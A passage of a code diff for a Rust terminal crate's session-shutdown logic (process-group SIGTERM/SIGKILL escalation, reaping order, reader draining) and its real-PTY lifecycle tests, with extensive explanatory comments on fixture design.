//! is harder than calling `kill`, for two reasons that both come from the
|
||||||
|
//! child being a *session leader* rather than an ordinary subprocess.
|
||||||
|
//!
|
||||||
|
//! **1. The child is not the only process.** `portable-pty` calls `setsid()`
|
||||||
|
//! in `pre_exec` (`unix.rs:257`), so the shell becomes a session and process
|
||||||
|
//! group leader; everything it runs — `vim`, a `make -j8` tree, a backgrounded
|
||||||
|
//! `sleep` — joins that group or a descendant of it. Signalling the shell's
|
||||||
|
//! pid alone reaches the shell. A shell that exits without forwarding the
|
||||||
|
//! signal leaves its children running, reparented to init, holding the pty
|
||||||
|
//! slave open. That is a leak that survives the window closing.
|
||||||
|
//!
|
||||||
|
//! So we signal the **process group** (`kill(-pgid)`), not the pid.
|
||||||
|
//!
|
||||||
|
//! **2. `portable-pty`'s own `kill` is not sufficient here.** `ChildKiller for
|
||||||
|
//! std::process::Child` (`lib.rs:340-373`) sends `SIGHUP` to the *pid*, waits
|
||||||
|
//! up to 4x50 ms, then falls back to `Child::kill` — which is `SIGKILL`, again
|
||||||
|
//! to the pid. Both halves are pid-scoped, so neither reaches a grandchild.
|
||||||
|
//! It is a correct API for "end this process"; ours is "end this session".
|
||||||
|
//!
|
||||||
|
//! ## The escalation
|
||||||
|
//!
|
||||||
|
//! `SIGTERM` to the group, a bounded wait for the leader, then `SIGKILL` to
|
||||||
|
//! the group **whether or not the leader went quietly** -- see `shutdown` for
|
||||||
|
//! why a polite leader does not imply an empty group.
|
||||||
|
//! `SIGTERM` first because a shell asked to terminate cleanly will flush its
|
||||||
|
//! history and let `vim` write its swap file; going straight to `SIGKILL`
|
||||||
|
//! guarantees no process ever gets that chance. The bounded wait is what makes
|
||||||
|
//! the escalation real — without it, `SIGKILL` either races the polite path
|
||||||
|
//! (making `SIGTERM` decorative) or never fires (making a signal-ignoring
|
||||||
|
//! child immortal).
|
||||||
|
//!
|
||||||
|
//! ## What this deliberately does not do
|
||||||
|
//!
|
||||||
|
//! A process that has called `setsid()` for *itself* has left our group, and
|
||||||
|
//! no group signal reaches it. `nohup`, a daemonising build tool, and
|
||||||
|
//! `tmux`-style servers all do this on purpose. We do not hunt the process
|
||||||
|
//! tree to find them: walking children to signal them is a race against a
|
||||||
|
//! moving tree — a pid read and then signalled may be a *different* process by
|
||||||
|
//! the time the signal lands, and killing a stranger's pid is a far worse bug
|
||||||
|
//! than leaking a daemon the user deliberately detached. Detaching from the
|
||||||
|
//! session is the documented way to survive one's terminal, and honouring it
|
||||||
|
//! is correct behaviour, not a gap.
|
||||||
|
|
||||||
|
use std::io;
|
||||||
|
use std::time::{Duration, Instant};
|
||||||
|
|
||||||
|
use portable_pty::Child;
|
||||||
|
|
||||||
|
/// How long the group gets to honour `SIGTERM` before `SIGKILL`.
|
||||||
|
///
|
||||||
|
/// Long enough for a shell to run its exit trap and for an editor to write a
|
||||||
|
/// swap file; short enough that closing a tab never feels stuck. Tab close is
|
||||||
|
/// not synchronous with this wait in the UI, so this is a cleanup deadline,
|
||||||
|
/// not a frame budget.
|
||||||
|
pub const TERM_GRACE: Duration = Duration::from_millis(250);
|
||||||
|
|
||||||
|
/// Poll interval while waiting for the child to exit.
|
||||||
|
///
|
||||||
|
/// Polling rather than blocking in `wait()`: a blocking wait cannot be given a
|
||||||
|
/// deadline without a second thread, and the whole point of the grace period
|
||||||
|
/// is that it expires.
|
||||||
|
const POLL_INTERVAL: Duration = Duration::from_millis(5);
|
||||||
|
|
||||||
|
/// How a session ended.
|
||||||
|
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||||
|
pub enum Shutdown {
|
||||||
|
/// Already gone before we signalled.
|
||||||
|
AlreadyExited,
|
||||||
|
/// Exited within [`TERM_GRACE`] of `SIGTERM`.
|
||||||
|
Terminated,
|
||||||
|
/// Ignored or outlived `SIGTERM`; the group was killed.
|
||||||
|
Killed,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Ends the session led by `child`: `SIGTERM` to its process group, a bounded
|
||||||
|
/// wait, then `SIGKILL` to the group if anything is still there.
|
||||||
|
///
|
||||||
|
/// Reaps the child before returning, so the caller cannot leave a zombie by
|
||||||
|
/// dropping the handle. Returns which arm ended it, which is what a test can
|
||||||
|
/// assert on — "did it die" is satisfied by both arms and so distinguishes
|
||||||
|
/// nothing.
|
||||||
|
#[cfg(unix)]
|
||||||
|
pub fn shutdown(child: &mut Box<dyn Child + Send + Sync>) -> io::Result<Shutdown> {
|
||||||
|
// Reap first. A child that already exited still has a pid slot until it is
|
||||||
|
// waited for, and that pid is reusable the moment it is released -- so
|
||||||
|
// signalling without checking is how a cleanup path eventually signals an
|
||||||
|
// unrelated process. Check before signalling, every time.
|
||||||
|
if child.try_wait()?.is_some() {
|
||||||
|
return Ok(Shutdown::AlreadyExited);
|
||||||
|
}
|
||||||
|
|
||||||
|
let Some(pid) = child.process_id() else {
|
||||||
|
// No pid means nothing to signal; still ensure it is reaped.
|
||||||
|
child.wait()?;
|
||||||
|
return Ok(Shutdown::AlreadyExited);
|
||||||
|
};
|
||||||
|
let pid = pid as i32;
|
||||||
|
|
||||||
|
signal_group(pid, libc::SIGTERM);
|
||||||
|
let leader_honoured_term = leader_exited_by(pid, Instant::now() + TERM_GRACE);
|
||||||
|
|
||||||
|
// Sweep the group unconditionally, *including* when the leader exited
|
||||||
|
// politely. The leader's exit is not the session's end: anything it
|
||||||
|
// backgrounded that ignores SIGTERM is still running, still in the group,
|
||||||
|
// and still holding the pty. Returning `Terminated` at that point reports
|
||||||
|
// success over a leak.
|
||||||
|
//
|
||||||
|
// Ordering with the reap is a safety requirement, not a preference. A
|
||||||
|
// process group id *is* the leader's pid, and the kernel may recycle that
|
||||||
|
// pid once the leader is reaped -- at which point `kill(-pid)` names some
|
||||||
|
// unrelated group. An exited-but-unreaped leader is a zombie, and a zombie
|
||||||
|
// is still a group member, so the id cannot be reused while we hold it.
|
||||||
|
// Signal first, reap second, and the window does not exist.
|
||||||
|
signal_group(pid, libc::SIGKILL);
|
||||||
|
|
||||||
|
// SIGKILL cannot be caught, so this terminates. It is still a `wait`
|
||||||
|
// rather than an assumption: the pid must be reaped, and the exit status
|
||||||
|
// is only available to whoever reaps it.
|
||||||
|
child.wait()?;
|
||||||
|
|
||||||
|
Ok(if leader_honoured_term {
|
||||||
|
Shutdown::Terminated
|
||||||
|
} else {
|
||||||
|
Shutdown::Killed
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Sends `signal` to `pid`'s process group, falling back to the pid alone.
|
||||||
|
///
|
||||||
|
/// The fallback matters: `kill(-pgid)` requires the child to *be* a group
|
||||||
|
/// leader, which it is only because `portable-pty` called `setsid()`. If that
|
||||||
|
/// ever stops being true, a pid-scoped signal still ends the shell — degraded
|
||||||
|
/// (grandchildren survive) rather than a silent no-op.
|
||||||
|
///
|
||||||
|
/// Errors are deliberately not propagated. Every failure mode here means the
|
||||||
|
/// process is already gone (`ESRCH`) or was never ours to signal (`EPERM`),
|
||||||
|
/// and in both cases the following `wait` is the authority on what happened.
|
||||||
|
#[cfg(unix)]
|
||||||
|
fn signal_group(pid: i32, signal: i32) {
|
||||||
|
// SAFETY: `kill` with a negative pid targets the process group; both
|
||||||
|
// arguments are plain integers and the call has no memory effects.
|
||||||
|
let sent = unsafe { libc::kill(-pid, signal) };
|
||||||
|
if sent != 0 {
|
||||||
|
// SAFETY: as above.
|
||||||
|
unsafe { libc::kill(pid, signal) };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Polls until the leader has exited, or `deadline` passes. Returns whether it
|
||||||
|
/// exited in time.
|
||||||
|
///
|
||||||
|
/// Deliberately **not** `Child::try_wait`, which reaps: reaping here would
|
||||||
|
/// release the process group id before the sweep above can use it. `WNOWAIT`
|
||||||
|
/// reads the child's exit state and leaves it waitable, so the zombie stays
|
||||||
|
/// and keeps the group id reserved for us.
|
||||||
|
///
|
||||||
|
/// `waitid`, not `waitpid`, and that is a portability requirement rather than
|
||||||
|
/// taste. POSIX only defines `WNOWAIT` for `waitid`; Linux tolerates it on
|
||||||
|
/// `waitpid`, and **Darwin returns `EINVAL`**. Measured with a C probe: on
|
||||||
|
/// macOS 25.5.0, `waitpid(pid, &st, WNOHANG | WNOWAIT)` is `-1/EINVAL` for a
|
||||||
|
/// child that has plainly exited. That failure is silent in the shape this
|
||||||
|
/// function had — an error is indistinguishable from "not exited yet", so the
|
||||||
|
/// grace period could never be honoured and *every* shutdown escalated to
|
||||||
|
/// `SIGKILL`, reporting `Killed` for a child that died politely on the first
|
||||||
|
/// `SIGTERM`. The polite arm was dead code on the platform we develop on.
|
||||||
|
///
|
||||||
|
/// `waitid` reports a still-running child as success-with-`si_pid == 0`, so
|
||||||
|
/// the out-parameter must be zeroed before each call and the *pid*, not the
|
||||||
|
/// return code, is the answer.
|
||||||
|
#[cfg(unix)]
|
||||||
|
fn leader_exited_by(pid: i32, deadline: Instant) -> bool {
|
||||||
|
loop {
|
||||||
|
// SAFETY: `info` is a valid, fully-initialised out-pointer for the
|
||||||
|
// duration of the call. `WNOWAIT` leaves the child waitable, so the
|
||||||
|
// later `wait` still returns its status.
|
||||||
|
let exited = unsafe {
|
||||||
|
let mut info: libc::siginfo_t = std::mem::zeroed();
|
||||||
|
let rc = libc::waitid(
|
||||||
|
libc::P_PID,
|
||||||
|
pid as libc::id_t,
|
||||||
|
&mut info,
|
||||||
|
libc::WEXITED | libc::WNOHANG | libc::WNOWAIT,
|
||||||
|
);
|
||||||
|
rc == 0 && info.si_pid() == pid
|
||||||
|
};
|
||||||
|
if exited {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
if Instant::now() >= deadline {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
std::thread::sleep(POLL_INTERVAL);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Maximum concurrent terminal sessions.
|
||||||
|
///
|
||||||
|
/// Each session costs a pty pair (two fds), a reader thread, and a scrollback
|
||||||
|
/// grid -- at the default 10k lines x 80 cols that is megabytes of resident
|
||||||
|
/// memory per tab. The cap exists because tab creation is one keystroke and
|
||||||
|
/// nothing else bounds it: without a limit, a held-down shortcut exhausts the
|
||||||
|
/// process fd table, and the first thing to fail is not the terminal but
|
||||||
|
/// whatever *else* in Buzz next asks for a file descriptor -- the relay
|
||||||
|
/// socket, a database handle. A resource a UI can allocate in a loop needs a
|
||||||
|
/// ceiling that fails in its own subsystem.
|
||||||
|
///
|
||||||
|
/// 20 matches the abandoned `feat/terminal` branch's `MAX_LIVE_SESSIONS`,
|
||||||
|
/// kept deliberately: it is far above any plausible human tab count and far
|
||||||
|
/// below the default 256-fd soft limit, so it bounds the runaway case without
|
||||||
|
/// ever being reachable by hand.
|
||||||
|
pub const MAX_LIVE_SESSIONS: usize = 20;
|
||||||
|
|
||||||
|
/// A reader that is still consuming the PTY master, to be stopped only after
|
||||||
|
/// the session has been torn down.
|
||||||
|
///
|
||||||
|
/// This exists because the correct close order is not the obvious one, and
|
||||||
|
/// nothing in the type system otherwise prevents the wrong one. Mari's ruling
|
||||||
|
/// (`62509b91`) is that **the reader outlives child termination and reap**:
|
||||||
|
///
|
||||||
|
/// 1. mark the session closing and stop publishing to the UI;
|
||||||
|
/// 2. `SIGTERM` -> grace -> `SIGKILL` -> reap, *while output is still drained*;
|
||||||
|
/// 3. only then close the master and join the reader.
|
||||||
|
///
|
||||||
|
/// Inverting steps 2 and 3 is the bug this trait is shaped to prevent, and it
|
||||||
|
/// is not a hypothetical: a child blocked writing into a master nobody reads
|
||||||
|
/// does not die promptly even on `SIGKILL`, because the kernel completes the
|
||||||
|
/// tty teardown first. Measured with a `forkpty` probe -- **606 ms** to reap a
|
||||||
|
/// `SIGKILL`ed child against an undrained master, versus microseconds when
|
||||||
|
/// drained. Join the reader first and every tab close pays that, on the arm
|
||||||
|
/// where the user is already waiting.
|
||||||
|
pub trait DrainingReader {
|
||||||
|
/// Detach parser work and enter raw-drain mode before child termination.
|
||||||
|
fn begin_closing(&self);
|
||||||
|
|
||||||
|
/// Wake a reader that remains blocked after the child has been reaped.
|
||||||
|
fn stop(&self);
|
||||||
|
|
||||||
|
/// Releases the reader thread. Called only after [`DrainingReader::stop`].
|
||||||
|
fn join(self: Box<Self>);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Ends a session in the order the drain law requires, and returns how it
|
||||||
|
/// ended.
|
||||||
|
///
|
||||||
|
/// The ordering is enforced by ownership rather than by documentation: this
|
||||||
|
/// function takes the reader **by value**, so a caller cannot have joined it
|
||||||
|
/// beforehand -- a joined reader has been consumed and cannot be passed here.
|
||||||
|
/// The only way to use this API is the correct order. A comment saying "do not
|
||||||
|
/// join the reader first" is advice; a moved value is a compile error.
|
||||||
|
#[cfg(unix)]
|
||||||
|
pub fn shutdown_draining(
|
||||||
|
child: &mut Box<dyn Child + Send + Sync>,
|
||||||
|
reader: Box<dyn DrainingReader>,
|
||||||
|
) -> io::Result<Shutdown> {
|
||||||
|
reader.begin_closing();
|
||||||
|
// Terminate and reap with the reader still running, so the child never
|
||||||
|
// blocks in a tty write while we are waiting on it.
|
||||||
|
let outcome = shutdown(child);
|
||||||
|
// Unconditional: wake and release the reader whether or not shutdown
|
||||||
|
// reported an error. EOF may already have ended it; stop is idempotent.
|
||||||
|
reader.stop();
|
||||||
|
reader.join();
|
||||||
|
outcome
|
||||||
|
}
|
||||||
581
desktop/src-tauri/crates/buzz-terminal/src/lifecycle_tests.rs
Normal file
581
desktop/src-tauri/crates/buzz-terminal/src/lifecycle_tests.rs
Normal file
@@ -0,0 +1,581 @@
|
|||||||
|
//! Lifecycle gates: the session dies, the grandchild dies with it, and the
|
||||||
|
//! login `argv[0]` the child actually receives is the one we computed.
|
||||||
|
//!
|
||||||
|
//! Every test here drives a real PTY and a real process tree. A mock child
|
||||||
|
//! would let us assert that we *called* `kill`, which is the half we already
|
||||||
|
//! know; the property under test is what the kernel does with a process group
|
||||||
|
//! we do not fully control.
|
||||||
|
|
||||||
|
use crate::env_fence::fence_env;
|
||||||
|
use crate::lifecycle::{shutdown, shutdown_draining, DrainingReader, Shutdown, TERM_GRACE};
|
||||||
|
use crate::path::user_shell_path;
|
||||||
|
use crate::shell::{login_argv0, resolve_shell};
|
||||||
|
use portable_pty::{native_pty_system, Child, CommandBuilder, PtyPair, PtySize};
|
||||||
|
use std::sync::atomic::Ordering;
|
||||||
|
use std::time::{Duration, Instant};
|
||||||
|
|
||||||
|
/// Upper bound on any wait in this file.
|
||||||
|
///
|
||||||
|
/// Every wait here is bounded, and that is not caution -- it is the lesson
|
||||||
|
/// from a probe of an interactive child that read to EOF and hung for 300 s.
|
||||||
|
/// A PTY master does not reach EOF while any process holds the slave open, so
|
||||||
|
/// "read until the child is done" is not a terminating program. Bound the
|
||||||
|
/// read, or poll for the observable effect.
|
||||||
|
const BOUND: Duration = Duration::from_secs(10);
|
||||||
|
|
||||||
|
/// Self-destruct deadline, in seconds, for fixture processes built to ignore
|
||||||
|
/// signals.
|
||||||
|
///
|
||||||
|
/// Comfortably longer than [`BOUND`], so it can never end a process while the
|
||||||
|
/// test is still observing it -- a watchdog that fires inside the observation
|
||||||
|
/// window would make a *failing* implementation look correct. Short enough
|
||||||
|
/// that a crashed run does not leave a core spinning until reboot.
|
||||||
|
const WATCHDOG: u64 = 60;
|
||||||
|
|
||||||
|
fn open_pty() -> PtyPair {
|
||||||
|
native_pty_system()
|
||||||
|
.openpty(PtySize {
|
||||||
|
rows: 24,
|
||||||
|
cols: 80,
|
||||||
|
pixel_width: 0,
|
||||||
|
pixel_height: 0,
|
||||||
|
})
|
||||||
|
.expect("openpty")
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Drains the PTY master in the background for as long as it stays open.
|
||||||
|
///
|
||||||
|
/// Not hygiene -- a correctness requirement, and the cause of a 300 s hang in
|
||||||
|
/// the first version of this file. A PTY has a small kernel buffer, and a
|
||||||
|
/// child writing into a master nobody reads blocks in `write()` once it fills.
|
||||||
|
/// A process blocked in an uninterruptible tty write does not die promptly on
|
||||||
|
/// `SIGKILL`: the signal is delivered, but the kernel finishes tearing down
|
||||||
|
/// the tty session first, so `wait()` sits there while the reap completes.
|
||||||
|
/// Measured directly with a `forkpty` C probe: with the master undrained, a
|
||||||
|
/// `SIGKILL`ed child took **606 ms** to be reaped. Every terminal in the
|
||||||
|
/// product drains its master continuously -- that is what a renderer *is* --
|
||||||
|
/// so a test that doesn't is modelling a configuration that never ships.
|
||||||
|
///
|
||||||
|
/// The consequence is worth stating for the embedder: **shutdown must not be
|
||||||
|
/// called after the reader has stopped.** Tear the session down while output
|
||||||
|
/// is still being consumed, or the grace period is spent waiting on a
|
||||||
|
/// self-inflicted stall.
|
||||||
|
fn drain(pair: &PtyPair) {
|
||||||
|
let mut reader = pair.master.try_clone_reader().expect("reader");
|
||||||
|
std::thread::spawn(move || {
|
||||||
|
use std::io::Read;
|
||||||
|
let mut buf = [0u8; 4096];
|
||||||
|
while matches!(reader.read(&mut buf), Ok(n) if n > 0) {}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Spawns `script` under `/bin/sh` on a real PTY, fully fenced.
|
||||||
|
fn spawn_script(pair: &PtyPair, script: &str) -> Box<dyn Child + Send + Sync> {
|
||||||
|
let shell = resolve_shell(std::env::var("SHELL").ok().as_deref());
|
||||||
|
let mut cmd = CommandBuilder::new("/bin/sh");
|
||||||
|
fence_env(&mut cmd, &user_shell_path(), &shell);
|
||||||
|
cmd.arg("-c");
|
||||||
|
cmd.arg(script);
|
||||||
|
let child = pair.slave.spawn_command(cmd).expect("spawn");
|
||||||
|
drain(pair);
|
||||||
|
child
|
||||||
|
}
|
||||||
|
|
||||||
|
/// True while `pid` exists. `kill(pid, 0)` performs the permission and
|
||||||
|
/// existence checks without delivering a signal.
|
||||||
|
fn pid_alive(pid: i32) -> bool {
|
||||||
|
// SAFETY: signal 0 delivers nothing; both arguments are integers.
|
||||||
|
unsafe { libc::kill(pid, 0) == 0 }
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Polls `f` until it returns true or `BOUND` elapses; returns whether it did.
|
||||||
|
///
|
||||||
|
/// Polling for the observable state rather than sleeping a fixed duration: a
|
||||||
|
/// sleep long enough to be reliable is slow, and a sleep short enough to be
|
||||||
|
/// fast is a race that fails on a loaded machine. Both are worse than asking.
|
||||||
|
fn poll_until(mut f: impl FnMut() -> bool) -> bool {
|
||||||
|
let deadline = Instant::now() + BOUND;
|
||||||
|
while Instant::now() < deadline {
|
||||||
|
if f() {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
std::thread::sleep(Duration::from_millis(5));
|
||||||
|
}
|
||||||
|
false
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Reads a file until it is non-empty or `BOUND` elapses.
|
||||||
|
fn read_when_written(path: &std::path::Path) -> Option<String> {
|
||||||
|
let mut found = None;
|
||||||
|
poll_until(|| match std::fs::read_to_string(path) {
|
||||||
|
Ok(text) if !text.trim().is_empty() => {
|
||||||
|
found = Some(text.trim().to_owned());
|
||||||
|
true
|
||||||
|
}
|
||||||
|
_ => false,
|
||||||
|
});
|
||||||
|
found
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A cooperative child exits on `SIGTERM`, so the polite arm is what ends it.
|
||||||
|
///
|
||||||
|
/// The distinction matters: `Killed` and `Terminated` both leave a dead
|
||||||
|
/// process, so asserting death alone would pass with `SIGTERM` deleted
|
||||||
|
/// entirely and the grace period reduced to a delay before `SIGKILL`.
|
||||||
|
#[test]
|
||||||
|
fn cooperative_child_exits_on_term_not_kill() {
|
||||||
|
let pair = open_pty();
|
||||||
|
let mut child = spawn_script(&pair, "sleep 30");
|
||||||
|
let pid = child.process_id().expect("pid") as i32;
|
||||||
|
|
||||||
|
let outcome = shutdown(&mut child).expect("shutdown");
|
||||||
|
assert_eq!(
|
||||||
|
outcome,
|
||||||
|
Shutdown::Terminated,
|
||||||
|
"a child that dies on SIGTERM must not have needed SIGKILL"
|
||||||
|
);
|
||||||
|
assert!(poll_until(|| !pid_alive(pid)), "child survived shutdown");
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A child that ignores `SIGTERM` must still die, and the escalation must be
|
||||||
|
/// what kills it.
|
||||||
|
///
|
||||||
|
/// The fixture shape is load-bearing and my first one was vacuous. I wrote
|
||||||
|
/// `trap '' TERM; sleep 30`, which *looks* like a signal-ignoring child and
|
||||||
|
/// reported `Terminated` -- the polite arm, on a child built to defeat it.
|
||||||
|
/// The reason is that `sh` does not ignore a signal on its child's behalf: the
|
||||||
|
/// group `SIGTERM` reaches `sleep`, which has no trap and dies, and the shell
|
||||||
|
/// was blocked in `wait` on exactly that `sleep`, so it reaps it and exits
|
||||||
|
/// normally. The trap was real, the ignoring was real, and the process still
|
||||||
|
/// died on `SIGTERM` -- through a path the test wasn't looking at.
|
||||||
|
///
|
||||||
|
/// Had I not checked *which* arm fired, this would have passed for the wrong
|
||||||
|
/// reason and gone on "proving" an escalation it never exercised. The loop
|
||||||
|
/// keeps the shell itself alive: no blocking `wait` to be interrupted, so the
|
||||||
|
/// trap actually governs the shell's own fate and only `SIGKILL` can end it.
|
||||||
|
///
|
||||||
|
/// The readiness handshake closes a second, subtler version of the same
|
||||||
|
/// mistake. My loop fixture *still* reported `Terminated`, because `trap` is a
|
||||||
|
/// command the shell has to reach: a signal delivered in the interval between
|
||||||
|
/// `exec` and that line finds the default disposition and kills the shell
|
||||||
|
/// outright. Isolated with a `forkpty` probe -- identical binary, only the
|
||||||
|
/// delay before signalling changed: at 500 ms all four arms survived, at 2 ms
|
||||||
|
/// all four died with signal 15. A fixture that is only *probably* armed makes
|
||||||
|
/// this test a race whose failure mode is a false pass.
|
||||||
|
///
|
||||||
|
/// This is the arm that fails if the escalation is deleted -- and the
|
||||||
|
/// `WATCHDOG` is what makes that a *failure* rather than a hang. With
|
||||||
|
/// `SIGKILL` deleted, nothing we send can end a child that ignores `SIGTERM`,
|
||||||
|
/// so `shutdown`'s final `wait` blocks forever and the mutant is detected only
|
||||||
|
/// by the harness timing out. A test that detects a bug by never finishing is
|
||||||
|
/// indistinguishable from a broken test. The deadline converts it into a
|
||||||
|
/// bounded, reportable failure.
|
||||||
|
#[test]
|
||||||
|
fn signal_ignoring_child_is_killed_after_the_grace_period() {
|
||||||
|
let dir = tempdir("buzz-terminal-trap");
|
||||||
|
let ready = dir.join("armed");
|
||||||
|
|
||||||
|
let pair = open_pty();
|
||||||
|
// The readiness file is written *after* the trap is installed, so waiting
|
||||||
|
// on it converts "probably armed by now" into an observed fact.
|
||||||
|
let mut child = spawn_script(
|
||||||
|
&pair,
|
||||||
|
&format!(
|
||||||
|
"trap '' TERM; (sleep {WATCHDOG}; kill -9 $$) & : > {}; \
|
||||||
|
while :; do sleep 0.1; done",
|
||||||
|
ready.display()
|
||||||
|
),
|
||||||
|
);
|
||||||
|
let pid = child.process_id().expect("pid") as i32;
|
||||||
|
assert!(
|
||||||
|
poll_until(|| ready.exists()),
|
||||||
|
"child never armed its SIGTERM trap; signalling now would test a \
|
||||||
|
startup race rather than the escalation"
|
||||||
|
);
|
||||||
|
|
||||||
|
let started = Instant::now();
|
||||||
|
let outcome = shutdown(&mut child).expect("shutdown");
|
||||||
|
let elapsed = started.elapsed();
|
||||||
|
|
||||||
|
assert_eq!(
|
||||||
|
outcome,
|
||||||
|
Shutdown::Killed,
|
||||||
|
"a SIGTERM-ignoring child must be escalated to SIGKILL"
|
||||||
|
);
|
||||||
|
assert!(poll_until(|| !pid_alive(pid)), "child survived SIGKILL");
|
||||||
|
assert!(
|
||||||
|
elapsed >= TERM_GRACE,
|
||||||
|
"shutdown returned in {elapsed:?}, before the {TERM_GRACE:?} grace \
|
||||||
|
period could have elapsed -- SIGTERM was never given its chance"
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
elapsed < BOUND,
|
||||||
|
"shutdown took {elapsed:?}; the grace period is not bounded"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The property the whole module exists for: a **grandchild** must not outlive
|
||||||
|
/// the session.
|
||||||
|
///
|
||||||
|
/// The fixture is deliberately hostile, and the obvious version of this test
|
||||||
|
/// proves nothing. I first wrote `sleep 30 & echo $!; wait` and mutation L2 --
|
||||||
|
/// replacing `kill(-pid)` with `kill(pid)` -- **survived it**. The reason is
|
||||||
|
/// that killing a PTY session leader makes the kernel hang up the terminal and
|
||||||
|
/// `SIGHUP` the whole foreground group, so the grandchild dies either way.
|
||||||
|
/// Isolated with a `forkpty` probe: with the master held open (no fd-closure
|
||||||
|
/// hangup) and only `SIGKILL` to the shell's pid, the grandchild was gone
|
||||||
|
/// within 200 ms while the shell itself was still unreaped. The tty hangup was
|
||||||
|
/// doing the work my group signal was being credited for.
|
||||||
|
///
|
||||||
|
/// Two properties are therefore required of the grandchild, and each closes
|
||||||
|
/// one leak in the fixture:
|
||||||
|
///
|
||||||
|
/// - it **ignores `SIGHUP`**, so the tty hangup cannot end it for us; and
|
||||||
|
/// - it **busy-loops rather than sleeping**, so it is not blocked in a call
|
||||||
|
/// that the session teardown would interrupt anyway.
|
||||||
|
///
|
||||||
|
/// With both, the probe separates cleanly: pid-only leaves the grandchild
|
||||||
|
/// alive, `kill(-pgid)` does not. That is the only shape in which this test
|
||||||
|
/// can fail for the reason it claims to test.
|
||||||
|
///
|
||||||
|
/// The `WATCHDOG` is the price of that hostility. A grandchild built to
|
||||||
|
/// survive every signal we send also survives the harness: when this test
|
||||||
|
/// legitimately fails -- as it does under mutation L1 and L2 -- it leaves a
|
||||||
|
/// process spinning a core at PPID 1, and a panicking or killed test binary
|
||||||
|
/// cannot clean up after itself. So the child carries its own deadline.
|
||||||
|
/// `SIGKILL` because that is the one signal the fixture does not trap.
|
||||||
|
#[test]
|
||||||
|
fn grandchild_does_not_outlive_the_session() {
|
||||||
|
let dir = tempdir("buzz-terminal-orphan");
|
||||||
|
let pidfile = dir.join("grandchild.pid");
|
||||||
|
let armed = dir.join("armed");
|
||||||
|
|
||||||
|
let pair = open_pty();
|
||||||
|
let mut child = spawn_script(
|
||||||
|
&pair,
|
||||||
|
&format!(
|
||||||
|
"sh -c 'trap \"\" HUP TERM; (sleep {WATCHDOG}; kill -9 $$) & \
|
||||||
|
: > {armed}; while :; do :; done' & \
|
||||||
|
echo $! > {pidfile}; wait",
|
||||||
|
armed = armed.display(),
|
||||||
|
pidfile = pidfile.display()
|
||||||
|
),
|
||||||
|
);
|
||||||
|
let shell_pid = child.process_id().expect("pid") as i32;
|
||||||
|
|
||||||
|
let grandchild: i32 = read_when_written(&pidfile)
|
||||||
|
.expect("grandchild never reported its pid")
|
||||||
|
.parse()
|
||||||
|
.expect("pid is a number");
|
||||||
|
assert!(
|
||||||
|
poll_until(|| armed.exists()),
|
||||||
|
"grandchild never armed its SIGHUP trap; the tty hangup would kill it \
|
||||||
|
regardless of how we signal, and this test could not observe the \
|
||||||
|
difference"
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
pid_alive(grandchild),
|
||||||
|
"test setup: the grandchild must be running before we shut down"
|
||||||
|
);
|
||||||
|
assert_ne!(
|
||||||
|
grandchild, shell_pid,
|
||||||
|
"test setup: the grandchild must be a distinct process, or this \
|
||||||
|
cannot tell a group signal from a pid signal"
|
||||||
|
);
|
||||||
|
|
||||||
|
shutdown(&mut child).expect("shutdown");
|
||||||
|
|
||||||
|
assert!(
|
||||||
|
poll_until(|| !pid_alive(shell_pid)),
|
||||||
|
"the session leader survived shutdown"
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
poll_until(|| !pid_alive(grandchild)),
|
||||||
|
"an orphaned grandchild ({grandchild}) outlived the session -- the \
|
||||||
|
signal reached the shell's pid but not its process group"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Shutting down an already-dead child is safe and reaps it.
|
||||||
|
///
|
||||||
|
/// Without the leading `try_wait`, this path signals a pid that the kernel may
|
||||||
|
/// already have released and reassigned.
|
||||||
|
#[test]
|
||||||
|
fn shutdown_of_an_exited_child_is_a_reap_not_a_signal() {
|
||||||
|
let pair = open_pty();
|
||||||
|
let mut child = spawn_script(&pair, "exit 0");
|
||||||
|
assert!(
|
||||||
|
poll_until(|| child.try_wait().ok().flatten().is_some()),
|
||||||
|
"child did not exit"
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
shutdown(&mut child).expect("shutdown"),
|
||||||
|
Shutdown::AlreadyExited
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The login `argv[0]` the child **actually receives**, not the string we
|
||||||
|
/// computed.
|
||||||
|
///
|
||||||
|
/// This closes the gap flagged in `e8b567aa`: `login_argv0` and
|
||||||
|
/// `portable-pty`'s `as_command` (`cmdbuilder.rs:510-517`) were each verified
|
||||||
|
/// by reading, and agreement-by-reading is not observation.
|
||||||
|
///
|
||||||
|
/// Two things make the probe terminate where a naive one hangs. The child
|
||||||
|
/// writes `$0` to a **file** rather than the PTY -- so there is no terminal
|
||||||
|
/// echo to strip, no ANSI to parse, and no dependency on the interactive
|
||||||
|
/// shell ever reaching EOF. And the read is polled to a deadline. Credit to
|
||||||
|
/// Quinn (`fcfd69b0`), whose three failed PTY-parsing harnesses established
|
||||||
|
/// that the harness was the bug.
|
||||||
|
///
|
||||||
|
/// The explicit-prog row is the control that isolates login `argv[0]` as the
|
||||||
|
/// only variable: same shell, same PTY, same fence, no `-` prefix.
|
||||||
|
#[test]
|
||||||
|
fn default_prog_child_observes_the_login_argv0() {
|
||||||
|
let dir = tempdir("buzz-terminal-argv0");
|
||||||
|
let shell = "/bin/sh";
|
||||||
|
|
||||||
|
